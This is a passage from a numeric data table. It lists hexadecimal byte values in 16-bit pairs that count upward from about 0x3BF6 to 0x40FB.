0xF6, 0x3B, 0xF7, 0x3B, 0xF8, 0x3B, + 0xF9, 0x3B, 0xFA, 0x3B, 0xFB, 0x3B, 0xFC, 0x3B, + 0xFD, 0x3B, 0xFE, 0x3B, 0xFF, 0x3C, 0x00, 0x3C, + 0x01, 0x3C, 0x02, 0x3C, 0x03, 0x3C, 0x04, 0x3C, + 0x05, 0x3C, 0x06, 0x3C, 0x07, 0x3C, 0x08, 0x3C, + 0x09, 0x3C, 0x0A, 0x3C, 0x0B, 0x3C, 0x0C, 0x3C, + 0x0D, 0x3C, 0x0E, 0x3C, 0x0F, 0x3C, 0x10, 0x3C, + 0x11, 0x3C, 0x12, 0x3C, 0x13, 0x3C, 0x14, 0x3C, + 0x15, 0x3C, 0x16, 0x3C, 0x17, 0x3C, 0x18, 0x3C, + 0x19, 0x3C, 0x1A, 0x3C, 0x1B, 0x3C, 0x1C, 0x3C, + 0x1D, 0x3C, 0x1E, 0x3C, 0x1F, 0x3C, 0x20, 0x3C, + 0x21, 0x3C, 0x22, 0x3C, 0x23, 0x3C, 0x24, 0x3C, + 0x25, 0x3C, 0x26, 0x3C, 0x27, 0x3C, 0x28, 0x3C, + 0x29, 0x3C, 0x2A, 0x3C, 0x2B, 0x3C, 0x2C, 0x3C, + 0x2D, 0x3C, 0x2E, 0x3C, 0x2F, 0x3C, 0x30, 0x3C, + 0x31, 0x3C, 0x32, 0x3C, 0x33, 0x3C, 0x34, 0x3C, + 0x35, 0x3C, 0x36, 0x3C, 0x37, 0x3C, 0x38, 0x3C, + 0x39, 0x3C, 0x3A, 0x3C, 0x3B, 0x3C, 0x3C, 0x3C, + 0x3D, 0x3C, 0x3E, 0x3C, 0x3F, 0x3C, 0x40, 0x3C, + 0x41, 0x3C, 0x42, 0x3C, 0x43, 0x3C, 0x44, 0x3C, + 0x45, 0x3C, 0x46, 0x3C, 0x47, 0x3C, 0x48, 0x3C, + 0x49, 0x3C, 0x4A, 0x3C, 0x4B, 0x3C, 0x4C, 0x3C, + 0x4D, 0x3C, 0x4E, 0x3C, 0x4F, 0x3C, 0x50, 0x3C, + 0x51, 0x3C, 0x52, 0x3C, 0x53, 0x3C, 0x54, 0x3C, + 0x55, 0x3C, 0x56, 0x3C, 0x57, 0x3C, 0x58, 0x3C, + 0x59, 0x3C, 0x5A, 0x3C, 0x5B, 0x3C, 0x5C, 0x3C, + 0x5D, 0x3C, 0x5E, 0x3C, 0x5F, 0x3C, 0x60, 0x3C, + 0x61, 0x3C, 0x62, 0x3C, 0x63, 0x3C, 0x64, 0x3C, + 0x65, 0x3C, 0x66, 0x3C, 0x67, 0x3C, 0x68, 0x3C, + 0x69, 0x3C, 0x6A, 0x3C, 0x6B, 0x3C, 0x6C, 0x3C, + 0x6D, 0x3C, 0x6E, 0x3C, 0x6F, 0x3C, 0x70, 0x3C, + 0x71, 0x3C, 0x72, 0x3C, 0x73, 0x3C, 0x74, 0x3C, + 0x75, 0x3C, 0x76, 0x3C, 0x77, 0x3C, 0x78, 0x3C, + 0x79, 0x3C, 0x7A, 0x3C, 0x7B, 0x3C, 0x7C, 0x3C, + 0x7D, 0x3C, 0x7E, 0x3C, 0x7F, 0x3C, 0x80, 0x3C, + 0x81, 0x3C, 0x82, 0x3C, 0x83, 0x3C, 0x84, 0x3C, + 0x85, 0x3C, 0x86, 0x3C, 0x87, 0x3C, 0x88, 0x3C, + 0x89, 0x3C, 0x8A, 0x3C, 0x8B, 0x3C, 0x8C, 0x3C, + 0x8D, 0x3C, 0x8E, 0x3C, 0x8F, 0x3C, 0x90, 0x3C, + 0x91, 0x3C, 0x92, 0x3C, 0x93, 0x3C, 0x94, 0x3C, + 0x95, 0x3C, 0x96, 0x3C, 0x97, 0x3C, 0x98, 0x3C, + 0x99, 0x3C, 0x9A, 0x3C, 0x9B, 0x3C, 0x9C, 0x3C, + 0x9D, 0x3C, 0x9E, 0x3C, 0x9F, 0x3C, 0xA0, 0x3C, + 0xA1, 0x3C, 0xA2, 0x3C, 0xA3, 0x3C, 0xA4, 0x3C, + 0xA5, 0x3C, 0xA6, 0x3C, 0xA7, 0x3C, 0xA8, 0x3C, + 0xA9, 0x3C, 0xAA, 0x3C, 0xAB, 0x3C, 0xAC, 0x3C, + 0xAD, 0x3C, 0xAE, 0x3C, 0xAF, 0x3C, 0xB0, 0x3C, + 0xB1, 0x3C, 0xB2, 0x3C, 0xB3, 0x3C, 0xB4, 0x3C, + 0xB5, 0x3C, 0xB6, 0x3C, 0xB7, 0x3C, 0xB8, 0x3C, + 0xB9, 0x3C, 0xBA, 0x3C, 0xBB, 0x3C, 0xBC, 0x3C, + 0xBD, 0x3C, 0xBE, 0x3C, 0xBF, 0x3C, 0xC0, 0x3C, + 0xC1, 0x3C, 0xC2, 0x3C, 0xC3, 0x3C, 0xC4, 0x3C, + 0xC5, 0x3C, 0xC6, 0x3C, 0xC7, 0x3C, 0xC8, 0x3C, + 0xC9, 0x3C, 0xCA, 0x3C, 0xCB, 0x3C, 0xCC, 0x3C, + 0xCD, 0x3C, 0xCE, 0x3C, 0xCF, 0x3C, 0xD0, 0x3C, + 0xD1, 0x3C, 0xD2, 0x3C, 0xD3, 0x3C, 0xD4, 0x3C, + 0xD5, 0x3C, 0xD6, 0x3C, 0xD7, 0x3C, 0xD8, 0x3C, + 0xD9, 0x3C, 0xDA, 0x3C, 0xDB, 0x3C, 0xDC, 0x3C, + 0xDD, 0x3C, 0xDE, 0x3C, 0xDF, 0x3C, 0xE0, 0x3C, + 0xE1, 0x3C, 0xE2, 0x3C, 0xE3, 0x3C, 0xE4, 0x3C, + 0xE5, 0x3C, 0xE6, 0x3C, 0xE7, 0x3C, 0xE8, 0x3C, + 0xE9, 0x3C, 0xEA, 0x3C, 0xEB, 0x3C, 0xEC, 0x3C, + 0xED, 0x3C, 0xEE, 0x3C, 0xEF, 0x3C, 0xF0, 0x3C, + 0xF1, 0x3C, 0xF2, 0x3C, 0xF3, 0x3C, 0xF4, 0x3C, + 0xF5, 0x3C, 0xF6, 0x3C, 0xF7, 0x3C, 0xF8, 0x3C, + 0xF9, 0x3C, 0xFA, 0x3C, 0xFB, 0x3C, 0xFC, 0x3C, + 0xFD, 0x3C, 0xFE, 0x3C, 0xFF, 0x3D, 0x00, 0x3D, + 0x01, 0x3D, 0x02, 0x3D, 0x03, 0x3D, 0x04, 0x3D, + 0x05, 0x3D, 0x06, 0x3D, 0x07, 0x3D, 0x08, 0x3D, + 0x09, 0x3D, 0x0A, 0x3D, 0x0B, 0x3D, 0x0C, 0x3D, + 0x0D, 0x3D, 0x0E, 0x3D, 0x0F, 0x3D, 0x10, 0x3D, + 0x11, 0x3D, 0x12, 0x3D, 0x13, 0x3D, 0x14, 0x3D, + 0x15, 0x3D, 0x16, 0x3D, 0x17, 0x3D, 0x18, 0x3D, + 0x19, 0x3D, 0x1A, 0x3D, 0x1B, 0x3D, 0x1C, 0x3D, + 0x1D, 0x3D, 0x1E, 0x3D, 0x1F, 0x3D, 0x20, 0x3D, + 0x21, 0x3D, 0x22, 0x3D, 0x23, 0x3D, 0x24, 0x3D, + 0x25, 0x3D, 0x26, 0x3D, 0x27, 0x3D, 0x28, 0x3D, + 0x29, 0x3D, 0x2A, 0x3D, 0x2B, 0x3D, 0x2C, 0x3D, + 0x2D, 0x3D, 0x2E, 0x3D, 0x2F, 0x3D, 0x30, 0x3D, + 0x31, 0x3D, 0x32, 0x3D, 0x33, 0x3D, 0x34, 0x3D, + 0x35, 0x3D, 0x36, 0x3D, 0x37, 0x3D, 0x38, 0x3D, + 0x39, 0x3D, 0x3A, 0x3D, 0x3B, 0x3D, 0x3C, 0x3D, + 0x3D, 0x3D, 0x3E, 0x3D, 0x3F, 0x3D, 0x40, 0x3D, + 0x41, 0x3D, 0x42, 0x3D, 0x43, 0x3D, 0x44, 0x3D, + 0x45, 0x3D, 0x46, 0x3D, 0x47, 0x3D, 0x48, 0x3D, + 0x49, 0x3D, 0x4A, 0x3D, 0x4B, 0x3D, 0x4C, 0x3D, + 0x4D, 0x3D, 0x4E, 0x3D, 0x4F, 0x3D, 0x50, 0x3D, + 0x51, 0x3D, 0x52, 0x3D, 0x53, 0x3D, 0x54, 0x3D, + 0x55, 0x3D, 0x56, 0x3D, 0x57, 0x3D, 0x58, 0x3D, + 0x59, 0x3D, 0x5A, 0x3D, 0x5B, 0x3D, 0x5C, 0x3D, + 0x5D, 0x3D, 0x5E, 0x3D, 0x5F, 0x3D, 0x60, 0x3D, + 0x61, 0x3D, 0x62, 0x3D, 0x63, 0x3D, 0x64, 0x3D, + 0x65, 0x3D, 0x66, 0x3D, 0x67, 0x3D, 0x68, 0x3D, + 0x69, 0x3D, 0x6A, 0x3D, 0x6B, 0x3D, 0x6C, 0x3D, + 0x6D, 0x3D, 0x6E, 0x3D, 0x6F, 0x3D, 0x70, 0x3D, + 0x71, 0x3D, 0x72, 0x3D, 0x73, 0x3D, 0x74, 0x3D, + 0x75, 0x3D, 0x76, 0x3D, 0x77, 0x3D, 0x78, 0x3D, + 0x79, 0x3D, 0x7A, 0x3D, 0x7B, 0x3D, 0x7C, 0x3D, + 0x7D, 0x3D, 0x7E, 0x3D, 0x7F, 0x3D, 0x80, 0x3D, + 0x81, 0x3D, 0x82, 0x3D, 0x83, 0x3D, 0x84, 0x3D, + 0x85, 0x3D, 0x86, 0x3D, 0x87, 0x3D, 0x88, 0x3D, + 0x89, 0x3D, 0x8A, 0x3D, 0x8B, 0x3D, 0x8C, 0x3D, + 0x8D, 0x3D, 0x8E, 0x3D, 0x8F, 0x3D, 0x90, 0x3D, + 0x91, 0x3D, 0x92, 0x3D, 0x93, 0x3D, 0x94, 0x3D, + 0x95, 0x3D, 0x96, 0x3D, 0x97, 0x3D, 0x98, 0x3D, + 0x99, 0x3D, 0x9A, 0x3D, 0x9B, 0x3D, 0x9C, 0x3D, + 0x9D, 0x3D, 0x9E, 0x3D, 0x9F, 0x3D, 0xA0, 0x3D, + 0xA1, 0x3D, 0xA2, 0x3D, 0xA3, 0x3D, 0xA4, 0x3D, + 0xA5, 0x3D, 0xA6, 0x3D, 0xA7, 0x3D, 0xA8, 0x3D, + 0xA9, 0x3D, 0xAA, 0x3D, 0xAB, 0x3D, 0xAC, 0x3D, + 0xAD, 0x3D, 0xAE, 0x3D, 0xAF, 0x3D, 0xB0, 0x3D, + 0xB1, 0x3D, 0xB2, 0x3D, 0xB3, 0x3D, 0xB4, 0x3D, + 0xB5, 0x3D, 0xB6, 0x3D, 0xB7, 0x3D, 0xB8, 0x3D, + 0xB9, 0x3D, 0xBA, 0x3D, 0xBB, 0x3D, 0xBC, 0x3D, + 0xBD, 0x3D, 0xBE, 0x3D, 0xBF, 0x3D, 0xC0, 0x3D, + 0xC1, 0x3D, 0xC2, 0x3D, 0xC3, 0x3D, 0xC4, 0x3D, + 0xC5, 0x3D, 0xC6, 0x3D, 0xC7, 0x3D, 0xC8, 0x3D, + 0xC9, 0x3D, 0xCA, 0x3D, 0xCB, 0x3D, 0xCC, 0x3D, + 0xCD, 0x3D, 0xCE, 0x3D, 0xCF, 0x3D, 0xD0, 0x3D, + 0xD1, 0x3D, 0xD2, 0x3D, 0xD3, 0x3D, 0xD4, 0x3D, + 0xD5, 0x3D, 0xD6, 0x3D, 0xD7, 0x3D, 0xD8, 0x3D, + 0xD9, 0x3D, 0xDA, 0x3D, 0xDB, 0x3D, 0xDC, 0x3D, + 0xDD, 0x3D, 0xDE, 0x3D, 0xDF, 0x3D, 0xE0, 0x3D, + 0xE1, 0x3D, 0xE2, 0x3D, 0xE3, 0x3D, 0xE4, 0x3D, + 0xE5, 0x3D, 0xE6, 0x3D, 0xE7, 0x3D, 0xE8, 0x3D, + 0xE9, 0x3D, 0xEA, 0x3D, 0xEB, 0x3D, 0xEC, 0x3D, + 0xED, 0x3D, 0xEE, 0x3D, 0xEF, 0x3D, 0xF0, 0x3D, + 0xF1, 0x3D, 0xF2, 0x3D, 0xF3, 0x3D, 0xF4, 0x3D, + 0xF5, 0x3D, 0xF6, 0x3D, 0xF7, 0x3D, 0xF8, 0x3D, + 0xF9, 0x3D, 0xFA, 0x3D, 0xFB, 0x3D, 0xFC, 0x3D, + 0xFD, 0x3D, 0xFE, 0x3D, 0xFF, 0x3E, 0x00, 0x3E, + 0x01, 0x3E, 0x02, 0x3E, 0x03, 0x3E, 0x04, 0x3E, + 0x05, 0x3E, 0x06, 0x3E, 0x07, 0x3E, 0x08, 0x3E, + 0x09, 0x3E, 0x0A, 0x3E, 0x0B, 0x3E, 0x0C, 0x3E, + 0x0D, 0x3E, 0x0E, 0x3E, 0x0F, 0x3E, 0x10, 0x3E, + 0x11, 0x3E, 0x12, 0x3E, 0x13, 0x3E, 0x14, 0x3E, + 0x15, 0x3E, 0x16, 0x3E, 0x17, 0x3E, 0x18, 0x3E, + 0x19, 0x3E, 0x1A, 0x3E, 0x1B, 0x3E, 0x1C, 0x3E, + 0x1D, 0x3E, 0x1E, 0x3E, 0x1F, 0x3E, 0x20, 0x3E, + 0x21, 0x3E, 0x22, 0x3E, 0x23, 0x3E, 0x24, 0x3E, + 0x25, 0x3E, 0x26, 0x3E, 0x27, 0x3E, 0x28, 0x3E, + 0x29, 0x3E, 0x2A, 0x3E, 0x2B, 0x3E, 0x2C, 0x3E, + 0x2D, 0x3E, 0x2E, 0x3E, 0x2F, 0x3E, 0x30, 0x3E, + 0x31, 0x3E, 0x32, 0x3E, 0x33, 0x3E, 0x34, 0x3E, + 0x35, 0x3E, 0x36, 0x3E, 0x37, 0x3E, 0x38, 0x3E, + 0x39, 0x3E, 0x3A, 0x3E, 0x3B, 0x3E, 0x3C, 0x3E, + 0x3D, 0x3E, 0x3E, 0x3E, 0x3F, 0x3E, 0x40, 0x3E, + 0x41, 0x3E, 0x42, 0x3E, 0x43, 0x3E, 0x44, 0x3E, + 0x45, 0x3E, 0x46, 0x3E, 0x47, 0x3E, 0x48, 0x3E, + 0x49, 0x3E, 0x4A, 0x3E, 0x4B, 0x3E, 0x4C, 0x3E, + 0x4D, 0x3E, 0x4E, 0x3E, 0x4F, 0x3E, 0x50, 0x3E, + 0x51, 0x3E, 0x52, 0x3E, 0x53, 0x3E, 0x54, 0x3E, + 0x55, 0x3E, 0x56, 0x3E, 0x57, 0x3E, 0x58, 0x3E, + 0x59, 0x3E, 0x5A, 0x3E, 0x5B, 0x3E, 0x5C, 0x3E, + 0x5D, 0x3E, 0x5E, 0x3E, 0x5F, 0x3E, 0x60, 0x3E, + 0x61, 0x3E, 0x62, 0x3E, 0x63, 0x3E, 0x64, 0x3E, + 0x65, 0x3E, 0x66, 0x3E, 0x67, 0x3E, 0x68, 0x3E, + 0x69, 0x3E, 0x6A, 0x3E, 0x6B, 0x3E, 0x6C, 0x3E, + 0x6D, 0x3E, 0x6E, 0x3E, 0x6F, 0x3E, 0x70, 0x3E, + 0x71, 0x3E, 0x72, 0x3E, 0x73, 0x3E, 0x74, 0x3E, + 0x75, 0x3E, 0x76, 0x3E, 0x77, 0x3E, 0x78, 0x3E, + 0x79, 0x3E, 0x7A, 0x3E, 0x7B, 0x3E, 0x7C, 0x3E, + 0x7D, 0x3E, 0x7E, 0x3E, 0x7F, 0x3E, 0x80, 0x3E, + 0x81, 0x3E, 0x82, 0x3E, 0x83, 0x3E, 0x84, 0x3E, + 0x85, 0x3E, 0x86, 0x3E, 0x87, 0x3E, 0x88, 0x3E, + 0x89, 0x3E, 0x8A, 0x3E, 0x8B, 0x3E, 0x8C, 0x3E, + 0x8D, 0x3E, 0x8E, 0x3E, 0x8F, 0x3E, 0x90, 0x3E, + 0x91, 0x3E, 0x92, 0x3E, 0x93, 0x3E, 0x94, 0x3E, + 0x95, 0x3E, 0x96, 0x3E, 0x97, 0x3E, 0x98, 0x3E, + 0x99, 0x3E, 0x9A, 0x3E, 0x9B, 0x3E, 0x9C, 0x3E, + 0x9D, 0x3E, 0x9E, 0x3E, 0x9F, 0x3E, 0xA0, 0x3E, + 0xA1, 0x3E, 0xA2, 0x3E, 0xA3, 0x3E, 0xA4, 0x3E, + 0xA5, 0x3E, 0xA6, 0x3E, 0xA7, 0x3E, 0xA8, 0x3E, + 0xA9, 0x3E, 0xAA, 0x3E, 0xAB, 0x3E, 0xAC, 0x3E, + 0xAD, 0x3E, 0xAE, 0x3E, 0xAF, 0x3E, 0xB0, 0x3E, + 0xB1, 0x3E, 0xB2, 0x3E, 0xB3, 0x3E, 0xB4, 0x3E, + 0xB5, 0x3E, 0xB6, 0x3E, 0xB7, 0x3E, 0xB8, 0x3E, + 0xB9, 0x3E, 0xBA, 0x3E, 0xBB, 0x3E, 0xBC, 0x3E, + 0xBD, 0x3E, 0xBE, 0x3E, 0xBF, 0x3E, 0xC0, 0x3E, + 0xC1, 0x3E, 0xC2, 0x3E, 0xC3, 0x3E, 0xC4, 0x3E, + 0xC5, 0x3E, 0xC6, 0x3E, 0xC7, 0x3E, 0xC8, 0x3E, + 0xC9, 0x3E, 0xCA, 0x3E, 0xCB, 0x3E, 0xCC, 0x3E, + 0xCD, 0x3E, 0xCE, 0x3E, 0xCF, 0x3E, 0xD0, 0x3E, + 0xD1, 0x3E, 0xD2, 0x3E, 0xD3, 0x3E, 0xD4, 0x3E, + 0xD5, 0x3E, 0xD6, 0x3E, 0xD7, 0x3E, 0xD8, 0x3E, + 0xD9, 0x3E, 0xDA, 0x3E, 0xDB, 0x3E, 0xDC, 0x3E, + 0xDD, 0x3E, 0xDE, 0x3E, 0xDF, 0x3E, 0xE0, 0x3E, + 0xE1, 0x3E, 0xE2, 0x3E, 0xE3, 0x3E, 0xE4, 0x3E, + 0xE5, 0x3E, 0xE6, 0x3E, 0xE7, 0x3E, 0xE8, 0x3E, + 0xE9, 0x3E, 0xEA, 0x3E, 0xEB, 0x3E, 0xEC, 0x3E, + 0xED, 0x3E, 0xEE, 0x3E, 0xEF, 0x3E, 0xF0, 0x3E, + 0xF1, 0x3E, 0xF2, 0x3E, 0xF3, 0x3E, 0xF4, 0x3E, + 0xF5, 0x3E, 0xF6, 0x3E, 0xF7, 0x3E, 0xF8, 0x3E, + 0xF9, 0x3E, 0xFA, 0x3E, 0xFB, 0x3E, 0xFC, 0x3E, + 0xFD, 0x3E, 0xFE, 0x3E, 0xFF, 0x3F, 0x00, 0x3F, + 0x01, 0x3F, 0x02, 0x3F, 0x03, 0x3F, 0x04, 0x3F, + 0x05, 0x3F, 0x06, 0x3F, 0x07, 0x3F, 0x08, 0x3F, + 0x09, 0x3F, 0x0A, 0x3F, 0x0B, 0x3F, 0x0C, 0x3F, + 0x0D, 0x3F, 0x0E, 0x3F, 0x0F, 0x3F, 0x10, 0x3F, + 0x11, 0x3F, 0x12, 0x3F, 0x13, 0x3F, 0x14, 0x3F, + 0x15, 0x3F, 0x16, 0x3F, 0x17, 0x3F, 0x18, 0x3F, + 0x19, 0x3F, 0x1A, 0x3F, 0x1B, 0x3F, 0x1C, 0x3F, + 0x1D, 0x3F, 0x1E, 0x3F, 0x1F, 0x3F, 0x20, 0x3F, + 0x21, 0x3F, 0x22, 0x3F, 0x23, 0x3F, 0x24, 0x3F, + 0x25, 0x3F, 0x26, 0x3F, 0x27, 0x3F, 0x28, 0x3F, + 0x29, 0x3F, 0x2A, 0x3F, 0x2B, 0x3F, 0x2C, 0x3F, + 0x2D, 0x3F, 0x2E, 0x3F, 0x2F, 0x3F, 0x30, 0x3F, + 0x31, 0x3F, 0x32, 0x3F, 0x33, 0x3F, 0x34, 0x3F, + 0x35, 0x3F, 0x36, 0x3F, 0x37, 0x3F, 0x38, 0x3F, + 0x39, 0x3F, 0x3A, 0x3F, 0x3B, 0x3F, 0x3C, 0x3F, + 0x3D, 0x3F, 0x3E, 0x3F, 0x3F, 0x3F, 0x40, 0x3F, + 0x41, 0x3F, 0x42, 0x3F, 0x43, 0x3F, 0x44, 0x3F, + 0x45, 0x3F, 0x46, 0x3F, 0x47, 0x3F, 0x48, 0x3F, + 0x49, 0x3F, 0x4A, 0x3F, 0x4B, 0x3F, 0x4C, 0x3F, + 0x4D, 0x3F, 0x4E, 0x3F, 0x4F, 0x3F, 0x50, 0x3F, + 0x51, 0x3F, 0x52, 0x3F, 0x53, 0x3F, 0x54, 0x3F, + 0x55, 0x3F, 0x56, 0x3F, 0x57, 0x3F, 0x58, 0x3F, + 0x59, 0x3F, 0x5A, 0x3F, 0x5B, 0x3F, 0x5C, 0x3F, + 0x5D, 0x3F, 0x5E, 0x3F, 0x5F, 0x3F, 0x60, 0x3F, + 0x61, 0x3F, 0x62, 0x3F, 0x63, 0x3F, 0x64, 0x3F, + 0x65, 0x3F, 0x66, 0x3F, 0x67, 0x3F, 0x68, 0x3F, + 0x69, 0x3F, 0x6A, 0x3F, 0x6B, 0x3F, 0x6C, 0x3F, + 0x6D, 0x3F, 0x6E, 0x3F, 0x6F, 0x3F, 0x70, 0x3F, + 0x71, 0x3F, 0x72, 0x3F, 0x73, 0x3F, 0x74, 0x3F, + 0x75, 0x3F, 0x76, 0x3F, 0x77, 0x3F, 0x78, 0x3F, + 0x79, 0x3F, 0x7A, 0x3F, 0x7B, 0x3F, 0x7C, 0x3F, + 0x7D, 0x3F, 0x7E, 0x3F, 0x7F, 0x3F, 0x80, 0x3F, + 0x81, 0x3F, 0x82, 0x3F, 0x83, 0x3F, 0x84, 0x3F, + 0x85, 0x3F, 0x86, 0x3F, 0x87, 0x3F, 0x88, 0x3F, + 0x89, 0x3F, 0x8A, 0x3F, 0x8B, 0x3F, 0x8C, 0x3F, + 0x8D, 0x3F, 0x8E, 0x3F, 0x8F, 0x3F, 0x90, 0x3F, + 0x91, 0x3F, 0x92, 0x3F, 0x93, 0x3F, 0x94, 0x3F, + 0x95, 0x3F, 0x96, 0x3F, 0x97, 0x3F, 0x98, 0x3F, + 0x99, 0x3F, 0x9A, 0x3F, 0x9B, 0x3F, 0x9C, 0x3F, + 0x9D, 0x3F, 0x9E, 0x3F, 0x9F, 0x3F, 0xA0, 0x3F, + 0xA1, 0x3F, 0xA2, 0x3F, 0xA3, 0x3F, 0xA4, 0x3F, + 0xA5, 0x3F, 0xA6, 0x3F, 0xA7, 0x3F, 0xA8, 0x3F, + 0xA9, 0x3F, 0xAA, 0x3F, 0xAB, 0x3F, 0xAC, 0x3F, + 0xAD, 0x3F, 0xAE, 0x3F, 0xAF, 0x3F, 0xB0, 0x3F, + 0xB1, 0x3F, 0xB2, 0x3F, 0xB3, 0x3F, 0xB4, 0x3F, + 0xB5, 0x3F, 0xB6, 0x3F, 0xB7, 0x3F, 0xB8, 0x3F, + 0xB9, 0x3F, 0xBA, 0x3F, 0xBB, 0x3F, 0xBC, 0x3F, + 0xBD, 0x3F, 0xBE, 0x3F, 0xBF, 0x3F, 0xC0, 0x3F, + 0xC1, 0x3F, 0xC2, 0x3F, 0xC3, 0x3F, 0xC4, 0x3F, + 0xC5, 0x3F, 0xC6, 0x3F, 0xC7, 0x3F, 0xC8, 0x3F, + 0xC9, 0x3F, 0xCA, 0x3F, 0xCB, 0x3F, 0xCC, 0x3F, + 0xCD, 0x3F, 0xCE, 0x3F, 0xCF, 0x3F, 0xD0, 0x3F, + 0xD1, 0x3F, 0xD2, 0x3F, 0xD3, 0x3F, 0xD4, 0x3F, + 0xD5, 0x3F, 0xD6, 0x3F, 0xD7, 0x3F, 0xD8, 0x3F, + 0xD9, 0x3F, 0xDA, 0x3F, 0xDB, 0x3F, 0xDC, 0x3F, + 0xDD, 0x3F, 0xDE, 0x3F, 0xDF, 0x3F, 0xE0, 0x3F, + 0xE1, 0x3F, 0xE2, 0x3F, 0xE3, 0x3F, 0xE4, 0x3F, + 0xE5, 0x3F, 0xE6, 0x3F, 0xE7, 0x3F, 0xE8, 0x3F, + 0xE9, 0x3F, 0xEA, 0x3F, 0xEB, 0x3F, 0xEC, 0x3F, + 0xED, 0x3F, 0xEE, 0x3F, 0xEF, 0x3F, 0xF0, 0x3F, + 0xF1, 0x3F, 0xF2, 0x3F, 0xF3, 0x3F, 0xF4, 0x3F, + 0xF5, 0x3F, 0xF6, 0x3F, 0xF7, 0x3F, 0xF8, 0x3F, + 0xF9, 0x3F, 0xFA, 0x3F, 0xFB, 0x3F, 0xFC, 0x3F, + 0xFD, 0x3F, 0xFE, 0x3F, 0xFF, 0x40, 0x00, 0x40, + 0x01, 0x40, 0x02, 0x40, 0x03, 0x40, 0x04, 0x40, + 0x05, 0x40, 0x06, 0x40, 0x07, 0x40, 0x08, 0x40, + 0x09, 0x40, 0x0A, 0x40, 0x0B, 0x40, 0x0C, 0x40, + 0x0D, 0x40, 0x0E, 0x40, 0x0F, 0x40, 0x10, 0x40, + 0x11, 0x40, 0x12, 0x40, 0x13, 0x40, 0x14, 0x40, + 0x15, 0x40, 0x16, 0x40, 0x17, 0x40, 0x18, 0x40, + 0x19, 0x40, 0x1A, 0x40, 0x1B, 0x40, 0x1C, 0x40, + 0x1D, 0x40, 0x1E, 0x40, 0x1F, 0x40, 0x20, 0x40, + 0x21, 0x40, 0x22, 0x40, 0x23, 0x40, 0x24, 0x40, + 0x25, 0x40, 0x26, 0x40, 0x27, 0x40, 0x28, 0x40, + 0x29, 0x40, 0x2A, 0x40, 0x2B, 0x40, 0x2C, 0x40, + 0x2D, 0x40, 0x2E, 0x40, 0x2F, 0x40, 0x30, 0x40, + 0x31, 0x40, 0x32, 0x40, 0x33, 0x40, 0x34, 0x40, + 0x35, 0x40, 0x36, 0x40, 0x37, 0x40, 0x38, 0x40, + 0x39, 0x40, 0x3A, 0x40, 0x3B, 0x40, 0x3C, 0x40, + 0x3D, 0x40, 0x3E, 0x40, 0x3F, 0x40, 0x40, 0x40, + 0x41, 0x40, 0x42, 0x40, 0x43, 0x40, 0x44, 0x40, + 0x45, 0x40, 0x46, 0x40, 0x47, 0x40, 0x48, 0x40, + 0x49, 0x40, 0x4A, 0x40, 0x4B, 0x40, 0x4C, 0x40, + 0x4D, 0x40, 0x4E, 0x40, 0x4F, 0x40, 0x50, 0x40, + 0x51, 0x40, 0x52, 0x40, 0x53, 0x40, 0x54, 0x40, + 0x55, 0x40, 0x56, 0x40, 0x57, 0x40, 0x58, 0x40, + 0x59, 0x40, 0x5A, 0x40, 0x5B, 0x40, 0x5C, 0x40, + 0x5D, 0x40, 0x5E, 0x40, 0x5F, 0x40, 0x60, 0x40, + 0x61, 0x40, 0x62, 0x40, 0x63, 0x40, 0x64, 0x40, + 0x65, 0x40, 0x66, 0x40, 0x67, 0x40, 0x68, 0x40, + 0x69, 0x40, 0x6A, 0x40, 0x6B, 0x40, 0x6C, 0x40, + 0x6D, 0x40, 0x6E, 0x40, 0x6F, 0x40, 0x70, 0x40, + 0x71, 0x40, 0x72, 0x40, 0x73, 0x40, 0x74, 0x40, + 0x75, 0x40, 0x76, 0x40, 0x77, 0x40, 0x78, 0x40, + 0x79, 0x40, 0x7A, 0x40, 0x7B, 0x40, 0x7C, 0x40, + 0x7D, 0x40, 0x7E, 0x40, 0x7F, 0x40, 0x80, 0x40, + 0x81, 0x40, 0x82, 0x40, 0x83, 0x40, 0x84, 0x40, + 0x85, 0x40, 0x86, 0x40, 0x87, 0x40, 0x88, 0x40, + 0x89, 0x40, 0x8A, 0x40, 0x8B, 0x40, 0x8C, 0x40, + 0x8D, 0x40, 0x8E, 0x40, 0x8F, 0x40, 0x90, 0x40, + 0x91, 0x40, 0x92, 0x40, 0x93, 0x40, 0x94, 0x40, + 0x95, 0x40, 0x96, 0x40, 0x97, 0x40, 0x98, 0x40, + 0x99, 0x40, 0x9A, 0x40, 0x9B, 0x40, 0x9C, 0x40, + 0x9D, 0x40, 0x9E, 0x40, 0x9F, 0x40, 0xA0, 0x40, + 0xA1, 0x40, 0xA2, 0x40, 0xA3, 0x40, 0xA4, 0x40, + 0xA5, 0x40, 0xA6, 0x40, 0xA7, 0x40, 0xA8, 0x40, + 0xA9, 0x40, 0xAA, 0x40, 0xAB, 0x40, 0xAC, 0x40, + 0xAD, 0x40, 0xAE, 0x40, 0xAF, 0x40, 0xB0, 0x40, + 0xB1, 0x40, 0xB2, 0x40, 0xB3, 0x40, 0xB4, 0x40, + 0xB5, 0x40, 0xB6, 0x40, 0xB7, 0x40, 0xB8, 0x40, + 0xB9, 0x40, 0xBA, 0x40, 0xBB, 0x40, 0xBC, 0x40, + 0xBD, 0x40, 0xBE, 0x40, 0xBF, 0x40, 0xC0, 0x40, + 0xC1, 0x40, 0xC2, 0x40, 0xC3, 0x40, 0xC4, 0x40, + 0xC5, 0x40, 0xC6, 0x40, 0xC7, 0x40, 0xC8, 0x40, + 0xC9, 0x40, 0xCA, 0x40, 0xCB, 0x40, 0xCC, 0x40, + 0xCD, 0x40, 0xCE, 0x40, 0xCF, 0x40, 0xD0, 0x40, + 0xD1, 0x40, 0xD2, 0x40, 0xD3, 0x40, 0xD4, 0x40, + 0xD5, 0x40, 0xD6, 0x40, 0xD7, 0x40, 0xD8, 0x40, + 0xD9, 0x40, 0xDA, 0x40, 0xDB, 0x40, 0xDC, 0x40, + 0xDD, 0x40, 0xDE, 0x40, 0xDF, 0x40, 0xE0, 0x40, + 0xE1, 0x40, 0xE2, 0x40, 0xE3, 0x40, 0xE4, 0x40, + 0xE5, 0x40, 0xE6, 0x40, 0xE7, 0x40, 0xE8, 0x40, + 0xE9, 0x40, 0xEA, 0x40, 0xEB, 0x40, 0xEC, 0x40, + 0xED, 0x40, 0xEE, 0x40, 0xEF, 0x40, 0xF0, 0x40, + 0xF1, 0x40, 0xF2, 0x40, 0xF3, 0x40, 0xF4, 0x40, + 0xF5, 0x40, 0xF6, 0x40, 0xF7, 0x40, 0xF8, 0x40, + 0xF9, 0x40, 0xFA, 0x40, 0xFB, 0x40, 